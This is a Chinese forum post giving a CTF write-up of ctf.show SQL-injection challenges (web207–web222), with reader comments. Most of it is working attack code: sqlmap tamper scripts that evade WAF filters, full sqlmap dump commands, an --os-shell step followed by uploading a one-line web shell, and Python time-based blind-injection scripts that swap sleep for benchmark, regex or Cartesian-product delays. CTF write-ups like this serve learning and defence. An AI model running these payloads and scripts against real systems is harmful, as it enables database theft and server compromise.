unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump

根据原本的space2comment仿写了一个,将注释换成了0x09

#!/usr/bin/env python
"""
Author:孤桜懶契
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09")

def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload

def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x09)
                    continue

            elif payload[i] == '\'':
                    quote = not quote

            elif payload[i] == '"':
                    doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                    retVal += chr(0x09)
                    continue

            retVal += payload[i]

    return retVal

web208

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }
  • 只过滤了小写的select,sqlmap自己就会跑大写的
sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump

web209

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

*多过滤了号和=号,我们在上面的脚本多加一个匹配=号换like**

sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment  -D ctfshow_web -T ctfshow_flav --dump
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")

def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload

def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x09)
                    continue

            elif payload[i] == '\'':
                    quote = not quote

            elif payload[i] == '"':
                    doublequote = not doublequote

            elif payload[i] == '=':
                    retVal += chr(0x09) + 'like' + chr(0x09)
                    continue

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                    retVal += chr(0x09)
                    continue

            retVal += payload[i]

    return retVal

web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
  • 先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")

def tamper(payload, **kwargs):
    payload = encode(payload)
    return payload

def encode(payload):
    retVal = payload

    if payload:
        retVal = retVal.replace(" ",chr(0x09))
        retVal = retVal.encode()
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

payload

sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my 

web211

  • 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump

web212

  • 和上题一样过滤多加了个*不影响我们

payload

sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my  -T ctfshow_web -T  ctfshow_flavis --dump

web213

  • 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")

def tamper(payload, **kwargs):
    payload = encode(payload)
    return payload

def encode(payload):
    retVal = payload

    if payload:
        retVal = retVal.replace(" ",chr(0x09))
        retVal = retVal.encode()
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

然后接着我们进行getshell上传一个上传点

http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell

image-20210731164027857

上传一句话木马,蚁剑连接

image-20210731164139622

在根目录下有flag

image-20210731164205840

web214

  • 时间盲注,直接脚本跑
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://5eb465ee-6eeb-4508-9fea-5496e3ad2a8f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 4.9 and end - start < 6.9:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210731173410636

web215

  • 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://fed15780-e37b-48e2-8e96-86d984f46b94.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#查数据库payload = "1' or if(substr(database(),{},1)='{}',sleep(3),0) #"
#查表payload = "1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),0) #"
#查字段payload = "1' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',sleep(3),0) #"
payload = "1' or if(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1)='{}',sleep(3),0) #"
#payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        if end - start > 2.9 and end - start < 4.9:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

web216

where id = from_base64($id);
  • 加了个base64解密,所以我们用“MQ==”-->1 所以就会算是true,这题没单引号,所以改一下上一题代码。
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://83e21d02-6e3a-4c01-9016-79367bdcb966.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#'MQ==' or if(1=1,sleep(5),0)
#payload = "'MQ==' or if(substr(database(),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'),{},1)='{}',sleep(5),0) "
payload = "'MQ==' or if(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1)='{}',sleep(5),0) "
n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        if end - start > 4.9 and end - start < 6.9:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210731182828100

web217

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep/i',$str);
    }   
  • 过滤了sleep,可以换一个函数benchmark(6666666,sha(1))
benchmark(6666666,sha(1))
第一个参数指的是执行次数、第二参数指的是执行语句

将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://fe186d5a-2385-43fd-8d4a-d557cc25b038.challenge.ctf.show:8080//api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)

#payload = "1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)"
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(5000000,sha(1)),0) #"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'),{},1)='{}',benchmark(5000000,sha(1)),0) #"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1)='{}',benchmark(5000000,sha(1)),0) #"

n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        # print(end-start)
        if end - start > 1.4 and end - start < 4.9:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210731193548774

web218

  • 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
 select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
 ​
 正则语法:
 . : 匹配任意单个字符
 * : 匹配0个或多个前一个得到的字符
 [] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
 ^ : 匹配开头,如^s匹配以s或者S开头的字符串。
 $ : 匹配结尾,如s$匹配以s结尾的字符串。
 {n} : 匹配前一个字符反复n次。

 RPAD(str,len,padstr)
 用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
 mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
 ​
 repeat(str,times)  复制字符串times次

所以我们可以利用这个来进行构造延时函数

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码预估等于sleep(5)效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"

n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j,bypass),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        if end - start > 0.4 and end - start < 1:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210731232314453

web219

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }   
  • 这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) LIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"

n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j,bypass),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 0.22 and end - start < 0.5:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

image-20210731235226222

第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,笛卡尔积时间延时法

 笛卡尔积(因为连接表是一个很耗时的操作)
     AxB=A和B中每个元素的组合所组成的集合,就是连接表
     SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
     select * from table_name A, table_name B
     select * from table_name A, table_name B,table_name C
     select count(*) from table_name A, table_name B,table_name C  表可以是同一张表

也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功

# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and  if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and  if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and  if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"

n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(i,j,bypass),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        print(end - start)
        if end - start > 1.5 and end - start < 5:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

image-20210801002919738

web220

  • 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f"
url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)#
#payload = "1) and if((database())regexp('^{}'),({}),0)#"
#payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#"
#payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#"
payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"

n = 0

for i in range(0, 666):
    for j in str:
        data = {
            "ip": payload.format(flag + j,bypass),
            "debug": '0'
        }
        start = time.time()
        res = requests.post(url, data)
        end = time.time()
        if end - start > 3 and end - start < 5:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210801011111531

web221

  • 考点是:MySQL利用procedure analyse()函数优化表结构
    limit后面能跟的也只有这个了似乎
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

可以参考
# https://www.jb51.net/article/99980.htm

web222

  //分页查询
  $sql = select * from ctfshow_user group by $username;
  • 不懂group by建议看一下这一篇关于group报错注入https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,可以理解一下,因为group by后面只能跟字段和字符串,所以我们构造字符串,利用concat(sleep(0.10),1)可以成功执行sleep()函数,我们再利用if来条件判断,就可以实现时间盲注,写一个脚本跑一波
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time

url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"

flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"

#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)

n = 0

for i in range(0, 666):
    for j in str:
        params = {
            'u' : payload.format(sql,i,j)
        }

        start = time.time()
        res = requests.get(url = url, params = params)
        end = time.time()
        if end - start > 2 and end - start < 3:
            flag += j
            n += 1
            print(' 开始盲注第{}位'.format(n))
            print(flag)
            if j == "}":
                print(' flag is {}'.format(flag))
                exit()
            break

image-20210801082210482

[md]# 由于题目过多

sql注入篇

免费评分

参与人数 11威望 +1 吾爱币 +30 热心值 +9 收起 理由
Handsomeboy666 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
protoca + 1 我很赞同!
多情自古空余恨 + 1 打开你的网站,怎么windows defender 报毒?
天空宫阙 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
M4_SOPMODⅡ + 1 + 1 谢谢@Thanks!
javahaonan + 1 + 1 我很赞同!
timeni + 1 + 1 谢谢@Thanks!
kamtang6688 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
笙若 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Neuron_ray + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

287166966 发表于 2021-8-4 19:00
分析的很好,,文章写得精细
何东河 发表于 2021-8-4 21:08
chen-jack 发表于 2021-8-4 22:10
薛定谔喵 发表于 2021-8-4 23:50
盲注比较折腾
timeni 发表于 2021-8-5 08:05
学到了,确实盲注借助工具比较快
头像被屏蔽
偶尔平凡 发表于 2021-8-5 08:35
提示: 作者被禁止或删除 内容自动屏蔽
javahaonan 发表于 2021-8-5 10:03
论防注入的重要性
Wzx157 发表于 2021-8-5 10:33
谢谢分享,挺详细的
zxsbk 发表于 2021-8-5 11:00
长篇好文
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-16 22:05

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表